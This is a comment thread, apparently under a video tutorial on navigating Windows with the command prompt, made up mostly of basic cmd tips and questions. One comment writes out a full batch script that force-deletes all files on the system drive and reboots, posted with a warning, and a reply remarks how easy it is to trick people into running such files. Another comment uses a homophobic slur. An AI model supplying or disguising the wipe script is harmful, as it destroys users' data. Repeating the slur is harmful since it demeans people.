How 2 Navigate Windows using only the command prompt

[Mario1vsSonic1]

is it possible to change website using cmd?

[MRCAB]

Thanks, this was helpful even though I wasn't able to run the file I was trying to run.

I "still" to this day put the slash around the other way for a follow on directory because of spending 10 years using an Amiga from 1990 till 2000. It's now 11 years later and still it happens :( old habits die hard.

how can i get into D drive not C

[hurtzumo]

nice......hw can i hack files to another computer using DOS?

[lZe1dal]

@hurtzumo DoS is denial of servic meaning they wont be able to use the internet which has nothing to do with hacking files.

Not to be a typical techy know it all, but at around 1:42, you only have to type "cd p" really, then press tab and the command line will autocomplete the rest of the entry. Also pressing tab straight off the bat will cycle through the dir files alphabetically.

@murphygp Yah, I didn't know anything about the Command Prompt when I made this video. I just thought it was neat. This is almost 3 years old now.

[ShadowSpeedy7]

@dmanbiker "taskkill /f /im explorer.exe" gives you a slight performance boost when playing full screen games :P

"explorer.exe" to undo any changes

or "start explorer.exe"

[GottSegneDich]

wow bro, you sound like a fag.

[dmanbiker]

@GottSegneDich Yah!

[skulasss]

how can i write directory it authomaticall writes like c:\user\documents and settings> and i can't do anything

[matler87]

lol Cox xD

[Bruceification73]

you can just type this:

cd C:\

and it will go to the C:\ directory. Also, to go up a level, you don't need the space between cd and ..

[dmanbiker]

@Bruceification73 Thanks, I'll add an annotation tomorrow if I remember.

[melonpotato]

i still have this operative system on my second computer its sucks and the computer crashed when i tryed to open flipper XD but i can fix it im sure about it and that computer is old really old 1958 or something but i have to writh c:pogramefiles:// open room. something

[floopsie666]

Or you could just type \ which stands for root.

[adamd385]

can u close and delete files from the cmd prompt??

[HellFireWolf]

yep =P

[infinity69play]

yes you can))

[Bruceification73]

@adamd385 yes

[Bruceification73]

@Bruceification73 along those lines, the following program should not be run under any circumstances, as it will wipe your hard drive and even delete all the boot files so it turns ur computer into a pile of crap: @echo off title Full System Wipe color 0c cd.. cd.. cd.. cd.. del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00 as you can see it is dressed up a little. That is not necessary but I decided to throw it in there. save as whatever.bat, and this file will own you.

[dmanbiker]

@Bruceification73 Yes there are quite a few way to fuck up your system using batch files, but you would have to be extremely ignorant to actually run any of them. Although it's very very easy to trick someone, with said ignorance, into running pretty much anything :\

[blakepeary]

thanks

[ANGELO13111]

just type start firefox

or if you want music type start music(not my music just music)

etc.

[andrewowns15]

so how can i get to the like internet options and stuff i need to configure it so i can plug a wire to the back of the computer to my xbox so it can be online,

[dmanbiker]

I'm not sure if you would do that through the command prompt. You would need ot use a crossover cable, and some third party software most likely, but I'm not an XBox person so I have no idea.

[Dan12345678910PAL]

there is so mutch feedback (audio)

[dmanbiker]

That is actually background noise, not feedback.

[VisualBasicExpert]

you have a listststsp like no other. im jk but nice tut

[HiddenForceX]

You can do this much easier, if you know the actual name, like start firefox.exe works as well.

[Theboardsurfer]

Great, thanks John. Wow, your voice is so feminine.

[DawnValorum]

How do you change to a different drive with DOS?

(as in going from C:\ to E:\)?

Thx good vid.

[littleman22232425]

CD E:\

[Revan343]

lol that was an old comment, I figured it out not long after posting that.

Also, that doesn't work, at least not in XP.

It's just E:

But it might work in vista, never tried. (Never had to, thank god. I'd sooner run Ubuntu)

[littleman22232425]

Lol

[R3D3S1GN]

pushd E:\

CD doesnt change the drive

[littleman22232425]

I meant 'E:'

[daveo2992]

when i go cd .. till im in just C: when i put in dir nothing comes up whats up?

[dmanbiker]

Don't forget there's like five million other commands for the CMD that are actually extremely useful. Making batch files for them things things like this is actually really helpful.

[impossiblett]

nice vid man !

do you know how to change the background in cmd?

[rampagetv]

you can change colors of text and background. just type color // and it will give you the options

[JayM616]

That was pretty cool, thanks!
